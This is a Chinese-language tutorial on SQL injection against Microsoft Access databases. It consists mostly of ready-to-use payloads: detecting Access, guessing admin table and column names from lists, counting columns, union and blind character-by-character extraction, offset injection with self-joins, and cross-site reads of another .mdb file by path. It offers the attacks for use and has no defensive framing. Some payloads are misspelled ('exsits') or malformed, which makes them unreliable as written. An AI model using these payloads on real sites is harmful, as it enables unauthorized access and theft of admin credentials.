Sql注入之Access
Access数据库介绍
Access数据库是由微软开发的小型数据库，可以存储100M之内的信息。
Access数据库判断
and exsits (select * from msysobjects)>0
Access注入利用
- 方法一
判断表名
运用如下命令返回正常即存在
and exsits (select * from admin)
Access数据库常见管理员表名：
admin admin_user admin_msg admin_usr admin_login username manager manag msg msg_user msg_login useradmin user_msg userlogin users member
判断列
运用如下命令返回正常即存在列
and exsits (select id from admin)
Access数据库常见的管理员列名：
admin admin_user username users usr user_login user_name name loginname admin_login msg_name
管理员密码列名：
password pwd pass user_pass
判断列数
order by num
num<=真正列数是时返回正常
联合注入
union select 1,2,……num from user
页面会回显1，2，3……num，选择可以看到的进行查询，例如选择1从user表查name
union select name,2,……num from user
在刚才回显1的地方就可以看到name的值
- 方法二(工具一般使用该方法实现)
判断表名和列名用方法一种的，如下方法是用来精确判断内容
判断返回内容长度
and (select top 1 len(name) from user)=5
top 1：返回第一个数据
top 2：返回前两个数据
当从user表中查询到name列返回的第一个数据长度为5时页面返回正常
精确判断内容
and (select top 1 asc(mid(name,1,1)) from user)=97 #97为ascii码
asc()：返回ascii码
mid()：https://www.runoob.com/sql/sql-func-mid.html
如上使用ascii码的方式进行查询
偏移注入
适用情况
猜不到列名的时候
利用
- 方法一
假设有5列
union select 1,2,3,4,* from admin
union select 1,2,3,* from admin
如上依次前推 *，页面返回正常时，它会从数据库中随机爆出数据
- 方法二
公式：
总列数-方法一种第一次回显正常时剩下的列数(*号前的数)
假设有11列，第一次在10处成功回显,如下
union select 1,2,3,4,5,6,7,8,9,* from admin
根据公式的11-9=2，则下一次在原有基础上减去4个，再加上一些命令如下
union select 1,2,3,4,5,6,7,* from (admin as a inner join admin as b on a.id=b.id)
inner join内连接：https://blog.csdn.net/rocling/article/details/90516802
如果没有注入出想要的结果，然后在进行一次注入：
union select from 1,2,3,4,5,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
该命令可以一直注入到剩余的列数无法在减2为止
跨库查询
介绍
对一个站点数据库进行注入，从而可以查询出另一个站点的数据库。
适用场景
两个站点在同一服务器上，其中一个站点有注入漏洞，知道另一个站点数据库的绝对路径。
利用
假设存在注入的数据库的表列数有3列
另一个站点的数据库的路径为E:\www\data\data.mdb
union select 1,name,password from [E:\www\data\data.mdb].admin #.后面的admin为表名
来源：https://www.cnblogs.com/Wuser/p/12321578.html